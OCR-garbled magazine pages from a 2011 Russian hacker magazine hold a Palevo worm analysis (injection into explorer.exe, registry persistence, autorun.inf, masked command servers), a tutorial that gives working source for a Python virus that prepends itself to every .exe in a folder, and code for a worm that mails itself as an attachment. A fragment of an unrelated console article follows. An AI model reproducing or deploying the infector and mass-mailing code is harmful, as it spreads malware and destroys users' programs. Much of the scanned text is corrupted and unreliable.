D\ЮRD *) и4 + З ) ; " ( int) ( u9 + * «-D\'IORD * ) и4 + 2 ) - и 1 0) ; .. О ;

.. и12 ;

..

( int ) &u4[ u1 О ] ;

Tht"e a d I d ... О ;

iF ( .« -OI'IORD *) и4 + 5 ) > O u )

(

do

(

и13 .. и 1 1 + *СDIЮRD * ) &U4 [ 4 O\'IDRD .) и13 +- u9 ; ....Tht' ea d 1 d ;

Thread l d

*(

>

>

+

36] ;

while ( Thread l d < *( < -ОlIORО . )и4 + 5 ) ) ;

if ( WritеРt"осеssНеgюrу ( hРrосеs s , 1.'9 , r.1.'4( * ( CD�/ORD * ) u4 + З » ) , u6 , t.Тhread I d )

(

u14 -

(cha,"

*) u9

+ u6 ;

if ( WriteProcessHefltory ( hP,"oCess . u 1 4 , &Buffer , Ox1 1 8 u . t.Тhпаd I d ) ) СrеаtеRеllЮtе Thread ( hP,"ocess , О. О.

(lPTHREAD_START_R O U Т I HE ) «

cha," * ) u9

+ *( CD WORD *) v4 + 6» ,

Фрагмент декомпилированного кода дропа 00000013D

Вся расш ифровка заключена в одном АОО·е. Потом с помощью VirtualAlloc'a выделяется дополн ительная память, куда коп ируется только что расшифрова н н ый участок кода . Туда же передается и последующее управление. Часть дальнейшего функционала до боли знакома. Это получение адреса kernel32.dll в памяти с помощью РЕВ'а и получение адресов экспорти руемых функций по их хэшам. А далее, как и ожидалось, происходит выделение еще одного участка памяти, копирование туда заш ифрованного Р Е ' ш н и ка , который я увидел в самом начале с помощью Hiew, и е го расшифровка. Однако здесь применяется уже более сложный алгоритм, нежели просто АОО. В конечном итоге этот код с помощью нехитрой техники запускает расшифрованный файл в адресном простра нстве исходного про­ цесса. Что интересно, в коде, отвечающем за все эти операци и , я обнаружил строку M orphex РЕ32 Loader. В пол н е воз можно, что это какой-то купл е н н ы й автоматизирова н н ы й за груз ч и к зашифрован ны х РЕ- модул е й . Д л я удобства я сдам п ил часть адресного пространства, в котором распол а гается расшифров а н н ы й модул ь, и сохра н ил его на диск как отдел ьный файл . В дал ьнейшем я буду называть этот файл дропом, чтобы отл ичать его от ориги нального Palevo. После двадцати ми нут исследования оказалось, что дроп крайне примитивен. Нап исан он на MSVC8 без каких-либо ухищрений типа обфускации или антиэмуляции. Оно и понятно: этот файл должен располагаться только в памяти, а не на диске. Основной его функХАКЕР 03 / 1 46/ 2 0 1 1

Sleep( OxC8u ) ;

ционал - расшифровать код и проинже ктить его в ехрlогег.ехе. Hex-rays хватило около полутора экранов, чтобы поместить там весь функционал дропа. Если описывать его действия более подробно, то вначале он расшифровывает шелл код, затем ищет окно с классом Progman и , в случае успеха, получает ID процесса, которому при­ надлежит это окно. Далее дроп открывает сам процесс, выделяет в нем память с помощью VirtualAllocEx, записывает туда шелл-код посредством WriteProcessMemoгy и запускает удаленный поток с помощью CreateRemoteThread. Напомню, что окна с классом Progman принадлежат Windows Explorer. Ита к, мы пришли к тому, что весь полезный функционал располагается в шелл- коде, который в н едря­ ется в процесс explorer.exe. Что же в действительности он делает? В начале - совсем общие вещи, а именно: прописывает автозагрузку по ключу H KLM\SOFТWARE\M icrosoft\Windows NnCurrentVersion\ Winlogon\TaskBar и копи рует ориги нальный файл в папку пользова­ тел я . Л юбопытно, что зловредный поток через небольшие и нтервалы времени проверяет содержи мое кл юча TaskBar и, есл и что-то н е в порядке, восста навл ивает его. Также я нашел распространение через autoru n . i nf. И нтересно, что строка, которая будет выдаваться пользо­ вателю при нажатии пра вой кнопкой м ы ш и по съе м ному устройству, написана на испанском языке. Вот и весь a utoru n . i nf цел и ко м : shel1execute=vikip i k i \ \ \ raj laus . exe action=Open folderato view f i les usingaWindowsaExplore USEAUTOPLAY= l

� 075


00860127 ",.,uyu",., , 0086012A 0086012С ! �шоО2:Z, ОО86012F 00860132 "'o'ugoa : 00860134 00860137 00860139 О086013С 0086013F 008601112 >eo'ug оа : 0086 01 112 >e.'UQUZ,<; 008601112 : 008601115 : 00860147 " ! � " :J022 : 008601119 : 00860111В : 00860151 ::.II!buQ 0�t2 : 00860151 022 : 00860151 _ ,., �' ";. 022 : 0086 0153 : 00860155 �' _k,,,_''М : 0086015 6

..

,� : �: � �:��� �

jЕ::��:НШ ,

J:::::

..... ..

8В F3 8В 8В F3 8В 8В 03 03 8В

OF 85 711 8В 81

75 А4 4О 75 А4 45 С8 40 110 55

СС

1II0 о ..е р IIIО О есх . esi , 1II0 о .. е р lIIo usb IIIО о еах , 1II0о есх , add есх , add есх , edx , IIIO О

СО С4 В4 С8 СО ВС

В6 1 8 ОВ 1F F2 С6 00 01 00 00

· . t••t : '"'1''' • .t••1 : 1""822 . t••t :''''1827 .t••t : '''11827 н . t••t : 18I!11821 · .t••t : ''''112'1 • ,t••t : IIIII1120 • . с••с : ....II82( • . t••t :''''11O' • .t"lCt : '.."a.\ • .t.xt: ....l1a. . tt_t : ''''1 13Е . t.llt : .....,IQ( • • . t••t : t8ll.,at • .t••t :I"111U · .t••t : ."" .... · .t••t : '"11''' • . t••t :1""152 • .t••t : ....81I5' · . t••t :.""1S6 · .t••t :I""151

[ebp-40h ] [ebp- ЗСh ] [ebp-4Ch ] еах [еьр-З8h ] [ebp-IIОh ] [еьр-4IIh ]

10c_86 0142 : IIIO UZX еЬх , byte pt.. [ е а х ] test еЬх , еЬх sho .. t 1ос 860168 jz IIIО о esi , edx add esi , 1 00h 10c_860151 : Ы , [edX ] jz s h o.. t 1 о с-86015А inc edx esi , edx ClllP 1n7 �hn�t l nr. A�n1�1

• .t.xt: .

Фрагмент кода, отвечающий за расшифровку встроен­ ного исполняемого файла

.:1 10 '. (' l'

10С_'''127: с,. ( ••,. ..,..r ') , .J'JFtFf" s"ort 10С_"'13[ j,.z

..

15 57

1. '.

'US" sbb

.'1 .'1, .Ь.

.or

•.ах. '''''''_''211'

м., .а,.4

С6 IiIS f . ЕI .2 6S Ее " " IS 16 " .\1 " ЕI lе 11 .. . .. 1S С2 _ 11 6. 111 '. " ..

.

('lI'p•..,.ar_"I .

[f'II',.",.ar_,,) . ...

.

'11"

6. (,

IK_II" I3E: с.l1 C.tCo"'ndLiIМ'W • .ах, n8C2"/Sn м.., o'lI.t .a[Jos'o�nttCxqkd puS" с.ll Ch.r",xt. wн:rrrпь ,,,,sh

,. 12 ЕI 71 11 .. ..

push с.ll

[. 11 '1 .. ..

'11 11

''''5''

,

2: op.n,roc.ss

... ,166 .( 17 ,. ...

; соо! XIt[J:

st.wt'2:'1J

: ·TJDSfoynu 'xqkd·· ; dtlll'roc,ssl' ; ItIn".r1tM.ndlf

; dWO.sir.'.cctSS

. ..

ос

��....= .! �� Кусочек стартового кода • .t••t:."""• •2 (С " . . t••t : '''''''E '' ____ _

clIIp

3А 1 А 711 05 112 ЭВ F2

61 " 21 111 .. Е' 9С .1 " ..

_ _ _ _ _ _ _ _ _ _ _ _ _ _

USBS s t a r t ed

I

Advert i s in g : Adware2

%s

s t oppe d ,

%d URLs d i sp l ayed

Adware a l ready running Adware not running Adware2

running :

% d brows e r s ,

open=vikipiki \ \ \ raj laus , exe

Error = % d ,

icon=shel 1 3 2 , dl l , 4

Already down loaded id=%d

% d URLs

GLE=%d

shel l \ \ \ Insta l l \ \ \ command=vikipiki \ \ \raj laus , exe

Down loading % s t o %s

shell \ \ \open\ \ \command=vikipiki \ \ \ raj laus , exe

Done ,

%s

shel l \ \ \ explore\ \ \ command=vikipiki \ \ \ raj laus , exe Shel l \ \ \ open \ \ \command=vikipiki \ \ \raj l aus . exe shellexecute=vikipiki \ \ \raj laus . exe

Кром е того, было в ы я вл е н о , что ч е р в ь п ытается п одкл юч иться к одному из нескол ьких серверов по следующим адреса м : * * * * * * . ananikol i c . su

За кл ючение

* * * * . pi c ke k l o s a r s k e . ru * * * * * . porn i c arke . com * * * * * . l o smibrac a l a . org 92 . ** * . * 9 0 . 237

После этого о н ожидает команд от центра управления. Вот некоторые строки, которые используются в качестве ответов командному центру: DONE ! FAI L ! Drive i n f ec t ed : USB S s t opped ,

Как м ожно понять из этих стро к , в фун кционал Pa levo входит с ка ч и в а н и е других файлов по кома нде и показ р е кл а м ы . Кстати , ш ел л - код не с разу содержит все да н н ы е в открытом в иде. Вначале п рогоняется бол ьшой ц и кл для и х р а с ш и ф р о в к и , после ч его эту па мять ста новится возможн ы м с п окойно да м п ить и под­ робно рассмат р и вать в H iew и/ил и I DA.

% d i n fe c t e d

U S B S not runn ing USBS a l ready running

Как види шь, этот червь оказался совсем не стра ш н ы м . Конечно, его разработчи ки применили кое- ка к и е трюки для усложне н и я анализа - н есколько а нтиэмул яционны х тех н и к , фэйковые вызовы АРI'шек и и н же кт в па мять другого п роцесса. Н о разве о н и способ­ н ы нас на пугать : ] ? Д а , кстати , чтобы остаться в системе, малварь прописывается в автозагрузку в реестре и непрерывно мониторит соответствующий ключ из создан ного потока в п роцессе explorer.exe. Расп ространение через a utoru n . i nf - уже прошлый век. Уч иты вая, что Palevo может скачивать файлы и показывать рекламу по команде, разработч и к и , скорее всего, испол ьзуют е г о для расп ростра нения других «зака­ зов». А это могут быть как рекла мные п рограм м ы , так и зловреды, крадущие персональные данные. I

Icon Group и String ТаЫе'ы, выдернутые из Palevo

а u

STRINGТAВLE LANGUAGE

{

LANG_ENGL I SH ,

48,

" Fdaidf"

49,

" Gab"

50,

" Rknk .

51,

" I tvl "

52,

Sw"

" Jkfc Ох "

53 ,

"Tmohvkiq"

54,

"An f з l i g "

55,

"Ui f "

56,

"Vayo .

SUВLANG ENGLISH US

STRINGTAВLE LANGUAGE

{

208,

LANG_ENG L I SH ,

SUВLANG ENGLISH US

"ИЬрзз Иfh"

209,

"Ohqnlr Wm"

210,

" Lt kn l fbyu"

211,

"Thxt ,

2 12 ,

"Xtmw Jзivq"

Sзhw"

}

Fctqx"

}

ХАКЕР 03 1 1 46/ 2 0 1 1


• •

d e e o n i s d e e o n i s ffi g m a i L.com

и И зуч аем во з мож н о сти пол н о це нн о го зло кодин га н а l1 нтерпретир уемом язы к е Н ОВЫЙ год - самое время для легких извра щ ени й . Х отя для те б я , читаю щего эту статью практически веснои , год уже не новыи, да и сама идея изучения вируса , написанного на питоне, может по казаться вовсе даже не легким извра щением ... v

Как из вестно, с помощью п итона можно решать множество повсед­ невных, рути н н ы х зада ч : п е риоди ческое резервное коп и р о в а н и е ф а й л о в , отп равка писем п о электронной почте, поиск и в ы полне­ ние разли ч н ы х действий с файлами на жестком диске и прочее, Та к как Руthоп я вл я ется я з ы ком программирования высокого уров­ ня, то и вирусы на н е м можно писать соответствующие, 3лов реды, создан н ы е с помощью Я ВУ, обычно классифици руются как H LLx [ H i g h Level La nguage, х - метод размноже н и я ) , Существуют т р и основных подвида H LLx- в и русов : оверврайтеры [Oveгwrite) - H LLO , ком п а н ьоны [Companion) - H LLC и паразиты [ Parasitic) - H LLP, П е р в ы е я вля ются достато ч н о п р и м ит и в н ы м и програ м м а м и , кото­ р ы е п росто п ереза п и с ы ва ют код жертвы своим кодом , вследств и е чего о р и ги нальная п рограмма перестает существовать, Та кие ви ру­ сы о ч е н ь п росты и весьма разруш ител ь н ы , В резул ьтате э п идемии такой заразы пользовательский компьютер п р а ктически пол ностью л и шается всего уста новл е н н о го ПО, Н ичем и н ы м кроме вандализ­ ма это назвать нел ьз я , В и русы-компаньо н ы более гуманны к испол н я е м ы м файла м, кото­ рые о н и «заражают», Слово « за ражают» Я специально взял в ка выч­ ки, так ка к на самом деле Н L LС-зловреды п росто присваивают себе

v

и м я жертвы, а оригинальный э кз е ш н и к переименовыва ют [а могут и зашифровать - при м, ред,) во что-нибудь другое, Та ким образом, они подменяют пользовател ьский софт своими коп и я м и , а для боль­ шей маскировки за пускают оригинальную программу из файла с новым именем, И пользователь довол е н , и вирус остался жив, H LLP я вл я ются самыми п родвинуты м и из Я ВУ-вирусов, О н и внедряются непосредственно в файл-жертву, сохра няя при этом работоспособ­ ность ориги нального кода, Из-за особенностей высокоуровневых я з ы ков програ м м и рования полноценного инжекта, как у « взрослых» вирусов на ассембл е р е , добиться очень сложно, П оэтому паразиты получаются не сл и ш ком элега нтн ы м и созда н и я м и , но, к сожалению, это практически потолок того, что можно выжать из Я ВУ, В связи с тем , что как H LLO-, та к и Н LLС-вирусы сл и ш ком п р и м и ­ т и в н ы И п р а ктически не встреча ются в ди кой п р и роде, м ы з а й м е м ­ ся разработкой здовреда- п а разита, О с н о в н о й метод, и спол ьзуе м ы й и м и д л я заражения - внедр е н и е в о д и н ф а й л с кодом-же ртво й , Та ким образом сохраняется код о р и ги нальной програ м м ы , и п р и этом н е появл яется н и каких л и ш них следов, Существует много вариаций на тему Н LLР-зловредов, н о м ы реа­ лизуем самую простую из них, В и рус будет писать в начало файла­ жертвы свое собственное тело - цел и ко м , со всеми заголовками ХАКЕР 03 / 1 46/ 2 0 1 1


и служебными структура м и . Код « хорошей» п рогра м м ы при этом будет смещен н а дл ину вируса. То есть, сна­ чала будет выполняться в и рус, который в конце своего черного дела за пустит ори гинал ьную програм му, чтобы л и ш н и й раз не вызы вать подозрения у пользователя. По традиции взглянем на код:

... - . .. cdIect!ons.py . .ьс." OS.P'f # COpyrigllt 2887 6009t., IIК. Atl ts R.s.rwd. t tiC:e'l5H to PSf !a'drr o CClnvi.butot' AgreeJer1lt.

R{gil

�·"АЬstгиt Bo1IS(! Clllssts (A8Cs) ilссordiпв to РЕР 3119. ···

def abstl"o1Ict.ttnod(func;obj): ---А dе<:or.ltor lndlСoiltiпg ;lЬstr-;аct ееthods . Requires tblt th' lII!to1lclllSS 15 AВCIWt. or derivfd f-rl:. it. А Clo1lSS tNt MS o1I .-t;lсlo1lss d'I"!ved ff'(lll A8Oleto1l сo1lnnot Ье iпsto1f1tlilted unl'SS illl of iа lbstг.сt _tlюdS o1l!"е oveгridden. Thе аЬstroJ(t llethodS Сo1iп Ье с..l1ed using ')пу of thеtМ l'IOПD.iIl ' super ' cill lll!chaniUlS.

Код НLLР-вируса import

sys

import

os

import

shut i l

virPath

сl.ss С(_tиlilss�t.) ; �bstro1lctlJethod clef lll'j_.bstrllct_lItthod(stlf• . . . ) ;

funcоЬj ._iяbstГo1lcbloethod_ _ retum funcobj

os . pa t h . sp l i t ( sys . argv [ O ] ) ;

=

""'''' " 1ntroduc:tIon.rst .. - _.. --"

names = os . l i s t d i r ( ' . ' ) ; fvir = open ( sy s . argv [ O ] , v i rData =

...:;<, .р/_ == _ ='-..",J II,W'�";.;;;: =' 15.py .. -""""""

' rb ' ) ;

fvi r . rеаd ( 1 9 4 5 б ) ;

Тrv4

clllSs .ilbstro1lctproperty(property ) : ···A decor;!tol' lndlc;!tlnl ;!bst"oIIct p�rties.

Requlres thollt the lltt;!cl�ss is A8CНet;! OI" wi\led f,.,. 1t. А clollss thilt hils oII eetilclilss derived fl'C8 AВOtetil cilМOt be lnst<lntiilted unle5s illl of 1tS ollbstroКt propertles ollrt Olle,.,.lddfn . The ollbstrilct properties collfl M cillled usil\& any of the the llOl"'8ill ·sUJ!E'r · cilll eechilnlU1$.

cl�ss C(lК!t;aclilss_AВCr.etoll) : �bstriКtproperty

f o r пате in name s : name Pair = os . path . spl i t ext ( name ) ; i f naтePa i r [ l ] пате

==

' . ехе '

and \

! = virPath [ l ] :

oS . rename ( name ,

пате +

fprog = ореп ( пате + progData =

' tmp ' ) ;

' tmp ' ,

fprog . read ( ) ;

fnew = ореп ( пате ,

' wb ' ) ;

fnew . wr i t e ( v i rData + progDat a ) ;

fnew . c l o s e ( ) ; fprog . c los e ( ) ;

os . remove ( name origProgData = origProg = forig

=

+

' tmp ' ) ;

fvir . read ( ) ;

' or ig i nal_ '

open ( o rigProg ,

в емаксе тоже можно кодить на питоне

' rb ' ) ;

+ virPath [ l ] ; ' wb ' ) ;

virPath = os.pa t h . s p lit [sys . a rgv[O J I . Дл я ч е го это нужно , я расс кажу в конце статьи, а п о ка д в и н е м ся дал ь ш е . П еред оператором if м ы считываем в память собствен­ ное содержимое. Делается это с помощью команды fvir. read[ 1 9456!. Число 1 9456 - это длина вируса [мы ведь должны учесть, что в файле находится не только вирус, но и жертваl. Почему эта длина именно такая, я с кажу чуть позже. Следующим шагом находим в текущей папке все ехе ' ш н ики и заражаем их. Для этого, зара­ нее переименовав невинную программку, м ы ч итаем ее код в буфер, затем создаем новый файл с нужным нам именем и пишем туда сначала тело вируса, а после считанный только что буфер. Далее сохра няем все это

f o r i g . wr i t e ( or igProgDa t a ) ;

Литературы по питону предостаточно. В том числе и на английском

fvir . c lose ( ) ;

� w a r n i ng

Н а п иса н и е ви русов - уголовно наказуемое дело. Н и когда не занимайся та кими веща м и l И нформация, п редставленная в статье, опубл и кована исключ ительно в образовател ьных целях.

fori g . c l o s e ( ) ;

o s . exec l ( or i gProg ,

' ) ;

П ер в ы м дел ом м ы п одкл ю ч а е м три м одул я : sys, os, s h u t i l . М одул ь sys дает доступ к п е р е м е н н ы м , кото рые тесно связаны с интерпретато ром и л и с в ы п ол н я е м ы м с к р и птом . Та к, н а п р и м е р , м ы п олуч а е м и м я вы полняе­ м о го с к р и пта с п о м о щью кома нды sys . a rgv[OJ . М одул ь os дает возможность вы п ол н е н и я команд, з а в и ся щих от о п е р а ц и о н н о й систе м ы . Н а п р и м е р , п олуч ить с п и с о к ф а й л о в в директо р и и , п р о и звести н а д н и м и н е котор ы е о п е р а ц и и и та к дале е . Н а ко н е ц, м одуль s h u t i l дает воз м ожность ко п и ровать и п е р е м е щать ф а йл на жест­ ком диске. После и м п о рта нуж н ы х н а м модуле й м ы узн а е м и м я файла, в кото ром содержится и сходн ы й код в и руса . Затем с п о м ощью кома нды os.list d i r[ ' . 1 получ а е м с п и сок ф а й л о в в текущей д и р е кто р и и и п роверяе м , я в л я ется л и оче редной объект в с п иске э к з е ш н и к о м . Есл и п р о верка это подтве рждает, т о и нф и ц и руем н а й ­ д е н н ы й файл , п росто з а м е н и в е го собой. Если ты ч итал в н и мател ьно, то заметил , что в усл о в и и о п е рато ра if п р исутствует еще вот такая и н струкци я : п а т е 1 = vi rPat h [ l J , а пе ред этим в ы п о л н я ется кома нда '

ХАКЕР 03 / 1 46/ 2 0 1 1

I.I=========;;;;;:::}

_ 5,ouc:"""• .• ta" AIIO TUlU8 .­ . fJr:t... -.. ;XIfТJIL"/CSS" . CQI . c..wu • cuss АПR8.RU . cw. c:us....... • ""MNa · 11" ... _ • GUVfIWR • pmtot8 МlM WI8ll1l ._. Rl:IUI.М �

:� . . ,....

., =...... . ..... ---. .-­ ..� . -., . l1li...... . n.. _ . --. .. ...-.

. _ - '­ (1'11')

� 079


81

start

=

о

end = s t r i n g . f i nd ( args , ' , , )

D COPYING D

D

184

188

D config.log

D configure

( end ==

pl· : � r

pf _ pr i n t f re f ( )

200

' dr:::- c � d

d

if

( f ound_f unct i on ) :

print

' < / group> ,

2 0 2 def parse_d i r ( di rname ,

1>

I!:> gtk+-2. 2. 1

1>

I!:> pango-1 . 2. 1

D

1

print I < group пате=" ' +groupname+ l lI > I for entry in d i r l ist i ng : i f ( e n t ry [ - 2 : ] == ' . с ' and not os . pat h .

I!:> gucharmap

D

g roupname ) :

d i r l i s t i n g = os . l i s t di r ( d i rname ) d i r l i s t i n g . sort ( )

I!:> glib-2.2.1

D

' +deL ' ard : i o!]

p f = I lo n <:

201

I!:> bfref2

• •1 :

l i ne = f d . readl i n e ( )

I!:> atk-1 .2.0

203

-1) :

end = len ( args )

195

199

, st r i n g . st r ip ( am . grouI

( en d+ 1 )

I!:> bfref

1>

1>

=

194 #

19 8

v l!:> examples

аm : p f . setparamtype ( s t r i n g . st r ip ( am . group ( 2 »

if

197

D Install-sh

:

e n d = st r i n g . f i nd ( args , ' , ' , st a rt )

196

D configure.ac

< l e n ( args »

argmatch . match ( args [ ( st art ) : end] )

191 193

D conflg.sub

( st a rt =

190 192

D config. status

-1) :

len ( args )

st art

189

D config.guess

1>

if

187

D aclocal.m4

1>

аm

186

Makefile.in

( end = =

end =

wh i l e

185

Makefile

D POATING

1>

if

183

D I NSTAll

isdi r ( di rname+en t ry»

:

parse_f i l e ( d i rname+entry)

print

atk-1 .2.0.tar.bz2 bfref.tar.gz bfref2.tar.gz

' </ group> ,

11 parse_d i r ( ' g t k + - 2 . 2 . 1 / g t k/ ' ,

' gt k ' )

12 parse_di r ( ' g t k + - 2 . 2 . 1 / gdl:/ "

' gdk ' )

parse_d i r ( ' g l ib - 2 . 2 . 1 / g l ib/ ' ,

' g l ib ' )

Питон WТYJ<a кроссматформенная, можно и под Linux что-нибудь наваять хозяйство и удаляем оригинальн ы й файл жертвы с помощью команды оs.геmоvеlпаmе+ ' tmp , ) Теперь наступает са м ы й ответстве н н ы й момент - нам надо запу­ стить ориги нальн ы й код, который мы п редварительно засунули внутрь зловреда. Для этого п росто ч итаем оставшиеся да н н ы е из образа вируса IMbI ведь помним, что уже читали 1 9456 байт и указа­ тель сместился в файле н а эту позицию?) , а затем сохраняем полу­ ченные данные во време н н ы й ехе, котор ы й потом запускаем. Та ким образом вирус корректно отработал, и п р и этом запустил нужную для пребы вающего в счастливом неведе н и и пользователя програ мму. К о н е ч н о , н а ш з л о в р ед получился в о в с е не без н едостатко в . Н а п р и м е р , о н н е п р о в е р я ет, и нф и ц и р о в а н л и уже э кз е ш н и к и л и н ет, д а и в б и вать в код р а з м е р кон е ч н о го файла в и руса - н е совсем уда ч н ое р е ш е н и е . К р о м е того, у н а ш е го п итомца будут в оз н и кать п р о бл е м ы при п е р в о м за пус ке, когда в образе н аходится тол ько тел о в и р я , а тело жертвы отсутствует. Н о все эти п ро бл е м ы при о п редел е н н о м ста р а н и и вполне р е ш а е м ы . Гла в н о е дл я н а с - п роде м о нстри ро вать п р и н ц и п ра боты . .

Сетево й чер вь

М ы сдел али кла с с и ч е с ко го и нфектора, кото р ы й расп ростр а н яется путем з а ражения близл ежа щих п ро гра м м . Но ведь есть еще и сете в ы е ч е р в и , котор ы е и с п ол ьзуют и нтернет дл я порабощения мира. Злов реды такого типа не и нтересуются файловой с и стемой ком п ьютер а , и м нужен доступ в сеть. Для р а с п ростра н е н и я черви п ол ьзуются дырами в о п е р а ц и ­ о н н о й с истем е и п р и кл адн ы х п р о гра м м а х , р а с с ы л а ют с е б я п о э л е ктр о н н о й п очте и так дале е . М ы п о п робуем сделать в и рус, котор ы й будет и с п ол ьзовать и м е н н о e - m а i l· bI . Дл я начала да в а й п о с м от р и м , к а к с п о м о щ ь ю Руth о п отп р а в ить п и с ь м о . Н е б ол ьш о й п ри м е р ч и к, от кото р о го м ы будем отта л к и ­ ваться в дал ь н е й ш е м :

� 080

От прав ка письма import srntplib f rorn erna i l . rnirne . t ext irnport MIMEText rnsg = MIMETex t ( ' Me s s age text ' ) # rnе = = erna i l отправителя # уоu == erna i l получателя rnsg [ ' Subj e c t ' ] msg [ , From , ] msg [ , То ' ]

s

=

=

=

' Te s t rnes s age '

= те

уоu

srntp l i b . SMTP ( ' ' )

s . s endma i l ( те ,

[ у оu ] ,

rnsg . as_s t r ing ( ) )

s . qu i t ( )

Здесь м ы и спользуем библиотеку smtplib и входя щий в нее па кет M I M EText. Код настолько п рост, что не требует особых разъясне­ ний. Единственное, на что стоит обратить в н и м а н и е , та к это на авторизацию на SMTP-сервере. Есл и для отправки сообщения требуется ввести логин и п а рол ь, то п р идется вызвать е ще одну допол н ител ьную функцию. Так как н а ш ви рус является файлом, н а м надо п р и аттач ить его к п ис ьму. Для этого п ридется и м портировать еще пару дополн ител ь н ы х б и бл и отек и н а п исать немного кода. Будет это в ы глядеть п р и м ерно та к: От пра в ка письма с вложением import srnt p l ib import rnirnetypes from erna i l

irnport encode r s

from ema i l . rnime . mu l t ipart f rom erna i l . mime . ba s e

import MIMEMu l t ipart

irnport MIMEBa s e

Х А К Е Р 0 3 / 1 46/ 2 0 1 1


Работа над вирусом в самом разгаре outer

с о о б ще н и и , дело оста л о с ь з а м ал ы м - н а йт и , кому отп р а в ить e - m a i l. Тут п олет фанта з и и в и р м е й кера н а питоне н и ч е м не о г ра н и ч е н . Можно, н а п р и м е р , п о и с кать адреса на жестком д и с ке , п ро с ка н и р о в а в в с е и м е ю щ и е с я на нем ф а йл ы . А можно в о с п ол ьзо ваться адрес н о й к н и го й O ut l o o k . Для п оследн е го тебе п онадобится п а кет Руt h о п W i п 3 2 Ехt е п s i о п s .

MIMEMu l t ipart ( )

# те = = ema i l

отправителя

# уоu = = ema i l получателя outer [ ' Subj e c t ' ]

=

outer [ ' Fr om ' ]

= те

o u t e r [ ' To ' ]

уоu

ctype ,

=

' Te s t message '

Н есколько замечани й

епсоdiпg = mimetype s . gue s s_type ( path_to_ f i l e )

i f c type

i s None o r encoding

ctype = ma i n type ,

i s not None :

' app l i c a t i o n / oc t e t - s t r e am '

subtype = c type . sp l i t ( ' / ' ,

fp = open ( path_to_ f i l e , msg = MIMEBa s e ( ma intype ,

1)

' rb ' ) subtype )

msg . s e t -pay l oad ( fp . read ( ) ) fp . c l o s e ( )

encoders . encode_ba s e 6 4 ( msg )

msg . аdd_hеаdеr ( ' Сопtеп t - D i s ро s i t iоп ' , ' a t t achment ' ,

f i l ename = f i l e_name )

ou t e r . a t t a ch ( ms g )

s = smtp l i b . SMTP ( " s . sendma i l ( me ,

)

[ уоu ] ,

out e r . as_s t r ing ( ) )

s . qu i t ( )

в и м п о рте у н а с п о я в и л а с ь б и бл и отека m i m etypes, а та кже м одул и е псоd е гs, M I M E M u lt i p a rt и M I M E Ba s e . M I M E M u lt i p a rt п о з в ол я ет ф о р м и р о вать е м а й л - сообще н и е из разл и ч н ы х видов да н н ы х !текст. карти н к и и п ро ч е е ) . M I M E Ba s e р а б отает с фа й ­ л а м и п ро и з вол ьн ого т и п а - н а п р и м е р , е х е . В кач естве о с н о в ы с о о б щ е н и я м ы б е р е м п е р е м е н ную т и п а M I M E M u l t i pa rt и доба в ­ л я е м к н е й объ е кт M I M E B a s e , в кото р ы й п редва р ител ь н о сч ита ­ л и и декод и р о в а л и в base64 соде ржи м о е нуж н о го н а м ф а й л а . Те п е р ь , когда в и рус м ожет с а м себя отп ра влять в эл е ктр о н н о м ХАКЕР 03 1 11. 6 1 20 1 1

С а м ы е с о о б р а з ител ь н ы е м о гут з адать оди н м а л е н ь к и й в о п р о с : « П итон - это с к р и пт ы , а е х е - б и н а р и . Ка к с к р и птом м о ж н о з а р а з ить и с п ол н я е м ы й ф а йл W i n d ows?». О т в е т н а н е го о ч е н ь п р ост - п ито н о в с к и е с к р и пты м о ж н о к о н в е рти р о вать в е х е ­ ф а й л ы . Д а - д а , и дела ется это о ч е н ь л е гко. Тут я о п и с ы вать п р оцесс н е буду !ты ведь не х о ч е ш ь , чтобы младшая сест р е н к а , в з я в в р у к и Н , п олуч и л а б ы и с ч е р п ы в а ю ще е руков одство п о у н и чтоже н и ю т в о е го же ко м п а : 1 1 , та к что з а п од р о б н остя м и - к Гуглу. в с в я з и с те м , что н а ш и в и русы будут в ы п ол н яться не как с к р и п ­ ты, а ка к п ол н оцен н ы е wi п - п риложе н и я , в коде встрет и л а с ь п а ра н е п о н ятн ы х в е щ е й , о кото р ы х я о б е щал р а с с ка зать п озже. П е р в а я из н и х - это в ы з о в o s . p a t h . s p l i t ! ) . Дело в то м , что если м ы запуска е м п итон - с к р и пт, то кома нда sys.argvlOJ воз в р а ща ет и м я этого с к р и пта ! н а п р и м е р , v i r u s . py ) . В случае же с ехе­ ф а й л о м резул ьтат будет другой - п ол н ы й путь и и м я э кз е ш н и ка I С :\W i п d оws\vi г u s . е х е ) . А та к как дл я дал ь н е й ш и х з л оде я н и й н а м нуж н о только и м я ф а й л а , т о м ы в ы з ы в а е м o s . p a t h . s p l i t l ) . Еще о д н а за гадка - это ч и сло 1 9456. Н о тут уже л е гко можно до гадаться , что это размер ехе, п олуч е н н ого п осле кон в е рта­ ции с к р и nта. Ровно стол ько у меня весил з л о в р ед после с в о е го п е р е рожде н и я в б и н а р н ы й ф о р м ат.

Заключение

Конечно, н а п и с а н и е з л о в р едов н а Руt h о п - то е щ е и з в р а ще ­ н и е , н о п р и бол ь ш о м жел а н и и та к и е п оделки м о ж н о отш л и фо ­ в а т ь до нуж н о й сте п е н и ра бото с п особн ости , п о ста вить н а п ол ку и в с е м п о каз ы вать. К тому же в и рус будет кросс платф о р м е н н ы м , а эти м н е кажд ы й круто й в и р м е й ке р м ожет похва статься : 1 . :х:

� 081


Поднятая целина б

О с ваиваем и о устраиваем ко нсоль

Н астроенны й по дефолту терминал - унылое зрелище , отпугиваю щ ее новичков и наводящее тоску на гуру. Многое из того , что спосо б ен дать командныи интерпретатор пользователю , оказывается скрыто за семью замками , а то , что остается доступным - просто неудо б но. Перед тем , как консоль станет де й ствительно сподручным инструментом , придется изрядно попотеть. ..

П олезная ин сЬ а в п р и глашении

П р и гл а ш е н и е ком а нд н о го и нт е р п р етатора bash ф о р м и руется на о с н о в е соде ржи м о го п е р е м е н н о й о к руже н и я PS 1 . Есл и в е р ить т а п - стра н и ца м , эта п е р е м е н н а я может содержать л юб ы е стр о к и , а также до вол ь н о бол ьш о й н а б о р с п е ци а л ь н ы х у п р а вл я ю щ и х с и м волов, кото р ы е п р и в ы воде п ри гл а ш е ­ н и я будут п ре в р а щ е н ы в а ктуа л ь н ы е да н -

� 082

н ые . Та к, н а п р и м е р , в д и стрибути ве U b u n t u соде ржи м о е п е р е м е н н о й PS l в ы гляд иттак : ' $ ( dеЬi ап_сhrооt : + ( $dеЬi ап_ chroo t ) } \u @ \ h : \w \ $ ,

А п р и вы воде на э кран превраща ется во всем з н а комую строку в ида: юзер@имя_хоста : текущий_катапог$

